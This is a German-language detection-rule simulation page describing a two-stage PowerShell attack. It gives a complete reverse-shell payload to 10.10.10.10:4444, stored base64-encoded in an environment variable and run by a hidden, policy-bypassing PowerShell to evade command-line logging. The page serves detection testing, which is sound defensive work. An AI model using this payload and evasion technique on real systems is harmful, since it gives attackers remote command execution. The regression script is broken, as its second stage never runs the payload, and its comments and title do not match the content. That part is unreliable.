Der böse MSI-Hintergrund kehrt zurück

Simulationsausführung

Voraussetzung: Der Telemetrie- & Basislinien-Pre-Flight-Check muss bestanden worden sein.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der gegnerischen Technik (TTP), die darauf ausgelegt ist, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

• Angriffserzählung & Befehle:
  Der Angreifer bringt zuerst eine Base64-kodierte PowerShell-Nutzlast in eine Prozess-Umgebungsvariable mit dem Namen INTERNAL_DB_CACHEein. Diese Nutzlast startet beim Dekodieren eine Rückwärts-Schale. Der Angreifer ruft dann einen zweiten PowerShell-Prozess auf, der die Variable liest und sie über ScriptBlock::Createausführt, wodurch der bösartige Befehl aus der unmittelbaren Befehlszeile herausgehalten wird. Dieser „Living-off-the-land“-Ansatz vermeidet die statische Signaturerkennung und nutzt das Zwei-Schritt-Muster, das die Regel dazu entworfen wurde zu erfassen.

  1. Stufe 1 – Nutzlast kodieren und in der Umgebungsvariable speichern

     $payload = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
     $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
     [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")

  2. Stufe 2 – Die kodierte Nutzlast aus der Umgebungsvariable ausführen

     powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command [ScriptBlock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:INTERNAL_DB_CACHE)))

• Regressionstestskript: Das unten aufgeführte Skript automatisiert die beiden Schritte, erfasst Zeitstempel zur Korrelation und fügt eine kurze Pause ein, um den ersten Prozess zu beenden, bevor der zweite beginnt.

  # ----------------------------------------------
  # PowerShell-Simulation von in Umgebungsvariable kodierter Nutzlast
  # ----------------------------------------------
  
  # Schritt 1 – Kodieren einer harmlosen Rückwärts-Shell-Nutzlast (ersetzen Sie mit Ihrer C2-Adresse)
  $payload = '$Sleep = 5; Start-Sleep -Seconds $Sleep'   # Kleiner harmloser Nutzlast für sicheres Testen
  $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
  [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")
  Write-Host "[*] Umgebungsvariable INTERNAL_DB_CACHE gesetzt."
  
  # Kurze Pause, um sicherzustellen, dass der erste Befehl protokolliert wird
  Start-Sleep -Seconds 2
  
  # Schritt 2 – Die Nutzlast aus der Variablen ausführen
  powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command `
  Write-Host "[*] Nutzlastausführung ausgelöst."

• Bereinigungskommandos: Entfernen der temporären Umgebungsvariable und Beenden aller während des Tests erstellten verwaisten Prozesse.

  # Entfernen Sie die Testumgebungsvariablen
  [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $null, "Process")
  Write-Host "[*] BEREINIGUNG – INTERNAL_DB_CACHE entfernt."
  
  # Stellen Sie sicher, dass keine verwaisten powershell.exe-Instanzen verbleiben (außer der aktuellen Sitzung)
  Get-Process -Name "powershell" | Where-Object {$_.Id -ne $PID} | Stop-Process -Force
  Write-Host "[*] BEREINIGUNG – verwaiste PowerShell-Prozesse beendet."